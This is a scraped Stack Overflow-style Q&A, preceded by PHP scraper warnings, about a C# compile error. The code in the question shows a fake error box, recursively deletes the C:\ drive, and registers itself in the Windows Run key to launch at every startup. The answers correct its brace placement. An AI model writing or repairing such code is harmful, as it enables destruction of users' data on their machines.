Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/csharp/310.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C# 命名空间不能直接包含字段或方法等成员?_C#_Methods_Namespaces_Field - Fatal编程技术网

C# 命名空间不能直接包含字段或方法等成员?

C# 命名空间不能直接包含字段或方法等成员?,c#,methods,namespaces,field,C#,Methods,Namespaces,Field,我试图创建一个应用程序,在启动时删除用户文档(我知道这听起来可能有恶意,但这是一个学校项目) 但是,我得到一个错误“名称空间不能直接包含字段或方法等成员” 仔细看,它看起来不错吧?我希望第二双眼睛能帮上忙,因为我到处都找不到相关的解决方案 诚然,由于我的基础知识,我在网上和书本上使用了很多帮助,而我对c#的了解是有限的。因此,可能只是因为我很愚蠢,但每个人都必须从某个地方开始,对吗 代码如下: namespace Test { class Program { static vo

我试图创建一个应用程序,在启动时删除用户文档(我知道这听起来可能有恶意,但这是一个学校项目)

但是,我得到一个错误“名称空间不能直接包含字段或方法等成员”

仔细看,它看起来不错吧?我希望第二双眼睛能帮上忙,因为我到处都找不到相关的解决方案

诚然,由于我的基础知识,我在网上和书本上使用了很多帮助,而我对c#的了解是有限的。因此,可能只是因为我很愚蠢,但每个人都必须从某个地方开始,对吗

代码如下:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

您的代码在
SetStartup
周围严重混乱。如果你按照正常的缩进,你会更清楚地看到发生了什么。在VisualStudio中按Ctrl-E,然后按D,然后重新格式化文档,这将使事情变得更加清晰

看看这个(在我缩进之后):

它试图在类之外声明一个变量(
rk
)。您还有一个没有主体的非抽象方法,并且在末尾缺少右大括号

我怀疑你的意思是:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

声明两个同名的(非部分)类时也会遇到问题…

如果括号和分号放错了位置,则应该是:

private void SetStartup()
{

    RegistryKey rk = Registry.CurrentUser.OpenSubKey
        ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    //..
}

在我的例子中,编译器在Razor视图的第1行报告了这个错误。守则如下:

@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;
我只是改变了使用顺序,问题就解决了

@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;
我的同事还指责他们面临这个编译器错误,这个错误可以通过改变名称空间的顺序来解决


我使用Visual Studio 2013 update 5和.NET Framework 4.5

格式化代码后,您将看到类外有代码


回滚了修复格式的编辑,因为缺少格式实际上是问题的一部分。如果OP的代码从一开始就被正确格式化,他们可能已经注意到了这个问题——因此,将问题更改为假装已经格式化是隐藏了一个重要问题。我现在得到的“名称AppName在当前上下文中不存在”的可能重复项chkStartUp也一样?@user1224163:对于类
程序
,您有两个不同的声明,这也没有帮助。。。我们不知道chkStartUp是什么……分类的,我是个白痴(很明显)。。谢谢你的帮助,很抱歉浪费了你的时间!在Visual Studio 2012中按“Ctrl-E后跟D”不会重新格式化,窗口底部的栏显示消息“组合键(Ctrl+E,Shift+D)不是命令。”您在哪个版本的Visual Studio中使用此命令?@MatthewNajmon:不是Shift+D,只是D。我当时可能在使用VS2010,但我刚刚登记了VS2012和VS2013,结果是一样的。转到“编辑/高级”并查找“格式化文档”以查找快捷键。
@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;